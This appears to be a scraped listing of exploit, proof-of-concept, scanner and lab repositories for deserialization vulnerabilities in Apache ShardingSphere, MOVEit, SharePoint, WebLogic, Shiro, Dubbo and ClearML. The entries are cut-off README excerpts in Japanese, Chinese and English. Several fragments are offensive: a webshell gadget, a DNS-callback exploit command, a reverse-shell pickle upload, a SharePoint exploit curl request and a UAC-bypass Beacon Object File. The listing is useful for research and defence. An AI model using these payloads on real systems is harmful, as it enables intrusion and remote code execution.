CVE-2020-1947

CVE-2020-1947 ApacheShardingShpereUIYAML解析によるリモートコード実行脆弱性の再現と分析 概要 shardingsphereはapacheのオープンソースエコシステムであり、分散データベースミドルウェアソリューションのセットです。sharding-jdbc、sharding-proxy、sharding-sidecarという3つの独立したフレームワークで構成され、データシャーディング、分散トランザクション、データベースガバナンスを提供するために使用されます。 影響を受けるバージョン ShardingSphere 4.0.0-RC3, 4.0.0...

HttpRemotingObjRefLeak

通过 HTTP .NET Remoting 泄露和利用 ObjRef（CVE-2024-29059） 本仓库进一步提供了关于 CODE WHITE 同名博文 Leaking ObjRefs to Exploit HTTP .NET Remoting 的详细信息和资源： 1. 创建易受攻击的 ASP.NET Web 应用程序 2. 检测 ObjRef 泄漏 3. 在 TypeFilterLevel.Low 限制下可工作的示例反序列化载荷 4. 用于投递载荷的利用脚本 1. 创建易受攻击的 ASP.NET Web 应用程序 以下内容基于 Microsoft 的《为 ASP.NET 网站配置...

VulnLab

VulnLab Yavuzlar によって開発された Web 脆弱性ラボプロジェクト。 ロゴ 脆弱性 SQL インジェクション クロスサイトスクリプティング XSS コマンドインジェクション 安全でないダイレクトオブジェクト参照 IDOR クロスサイトリクエストフォージェリ CSRF XML 外部エンティティ XXE 安全でないデシリアライゼーション ファイルアップロード ファイルインクルード 認証の脆弱性 競合状態 サーバーサイドテンプレートインジェクション SSTI API ハッキング CAPTCHA バイパス パストラバーサル インストール DockerHub でインストール 1...

EventViewerUAC_BOF

EventViewerUACBOF これは、@orange8361 によって発見され、CsEnox によって PoC が作成された、イベントビューアのデシリアライゼーションを利用した UAC バイパスの Beacon Object File 実装です。 x64 の Win10/Win11 でテスト済み OPSEC 警告！ この UAC バイパスは以下の操作を実行します。これらは OPSEC の観点で考慮する必要があります： -1. %LOCALAPPDATA%\Microsoft\Event Viewer\RecentViews にバイナリファイルを書き込みます -2...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 extends...

custom-bytecode-analyzer

custom-bytecode-analyzer Java bytecode analyzer customizable via JSON rules. It is a command-line tool that receives a path containing one or more Jar or War files, analyzes them using the provided rules and generates HTML reports with the results. Usage usage: java -jar cba-cli.jar OPTIONS -a...

CVE-2022-0265

CVE-2022-0265 把 ysoserial.jar 放同目录下 example python CVE-2022-0265.py 127.0.0.1 URLDNS "http://xxx.log."...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 这个Shell脚本在给定OrgKey 0的情况下，解析MOVEit日志中发现的base64工件的头部，并解密用作payload的序列化对象。...

CVE-2025-55182-react2shell

CVE-2025-55182：暴露的 React 服务器组件（RSC）检测器 此仓库包含一个 Nuclei 模板 ，用于检测与 CVE-2025-55182 相关的 React 服务器组件暴露 。该漏洞影响使用 React/Next.js 构建的应用程序，其中 RSC 协商层意外暴露，允许攻击者与服务器组件交互，并可能实现基于反序列化的远程代码执行。 该模板执行一次 良性 RSC 握手 ，并识别出响应 RSC 组件流（text/x-component）而非阻止请求的端点。 该模板检测的内容 当目标满足以下条件时，将被标记为存在漏洞： 在收到 RSC 协商标头后，响应...

CVE-2026-65142

NVIDIA Model-Optimizer contains a vulnerability where an attacker may cause deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure...

CVE-2023-34362

CVE-2023-34362 CVE-2023-34362およびMOVEit Transferに影響するPOC 技術的分析 脆弱性の技術的根本原因分析は、弊社ブログに掲載されています: https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/ 概要 このPOCは、SQLインジェクションを悪用してsysadmin APIアクセストークンを取得し、そのアクセスを使用してデシリアライゼーション呼び出しを悪用し、リモートコード実行を達成します。...

CVE-2021-43503

警告 脆弱性は取り消されました オーバーライド これは CVE-2021-43503 に関するものです。exp を通じてこの脆弱性を再現できませんでした。 必要条件 PHP 7.1. Composer registrar=$b; namespace Illuminate\Queue\Capsule class Manager protected $manager; public function construct$c $this-manager-method=$c; namespace Mockery class ClosureWrapper private $closure;...

CVE-2025-53770-Checker

CVE-2025-53770-Checker 检查本地 SharePoint 服务器是否存在 CVE-2025-53770 漏洞 非侵入式检测器 ，用于检测 SharePoint Server 中的 CVE-2025-53770 漏洞 开发：Division81（Grupo Oruss 道德黑客团队） 技术描述 CVE-2025-53770 是 SharePoint 本地部署版 ViewState 管理器中一个严重的 .NET 反序列化漏洞，可导致无需认证的远程代码执行（RCE）:contentReferenceoaicite:1index=1。 利用方式是通过 POST 请求发送到 /...

CVE-2021-40865

CVE-2021-40865 CVE-2021-40865 POC/exploit-poc import org.apache.commons.io.IOUtils; import org.apache.storm.serialization.KryoValuesSerializer; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.URLDNS; import java.io.; import java.math.BigInteger; import java.net.; import...

CVE-2025-53770-Scanner

CVE-2025-53770 スキャナー DanSec による CVE-2025-53770 の重要な SharePoint 脆弱性への潜在的な露出を特定するための、シンプルで効果的な偵察ツール。 !Warning このツールは、許可されたテスト目的のみに使用されることを意図しています。 作者（DanSec）は、無許可のスキャンや使用によって引き起こされる誤用や損害について一切責任を負いません。このツールを使用する前に、スキャン対象のドメインまたはサービスに対する明示的な許可を得てください。 CVE-2025-53770 について CVE-2025-53770（"ToolShell"）...

dubbo-CVE-2023-23638

CVE-2023-23638 仅供学习研究 ZooKeeper 自备 测试环境为 Java 8, 其它版本尚未测试, 不保证可用性 复现时需要为 DemoComsumer 添加 VM 参数: -Ddubbo.hessian.allowNonSerializable=true, 详情参考 https://su18.org/post/hessian/serializable 分析文章: https://exp10it.io/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/ POC 的本质是利用某个 class 修改...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML Pickle 工件上传 PoC 本项目演示如何通过命令行参数动态上传 pickle 工件到 ClearML，并支持配置参数。该脚本初始化一个 ClearML 任务，动态配置反向 shell...

CVE-2015-7501

Java反序列化漏洞实验室 此内容与为H2HC杂志第12期撰写的论文相关。完整论文请见：https://www.h2hc.com.br/revista/ 演讲的幻灯片和视频将很快发布。 关于Java（JVM）环境中原生反序列化缺陷基础的概述 Java虚拟机（JVM）中反序列化漏洞的概述 内容 该实验室包含代码示例，帮助你理解反序列化漏洞以及gadget链如何利用它们。其目标是让你更深入地理解，以便你能够开发新的payload和/或更好地设计你的环境。 其中还包含一个易受攻击的测试应用程序（VulnerableHTTPServer.java），可用于测试你的payload。 幻灯片...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC Microsoft SharePoint Server 中存在一个严重漏洞，允许通过反序列化不受信任的数据实现未经身份验证的远程代码执行。Microsoft 已注意到该漏洞正被积极利用；请立即应用 CVE 缓解措施。严重性：严重。 命令 curl -sk -X POST 'https://reeaccated.com/layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' -H 'Referer:...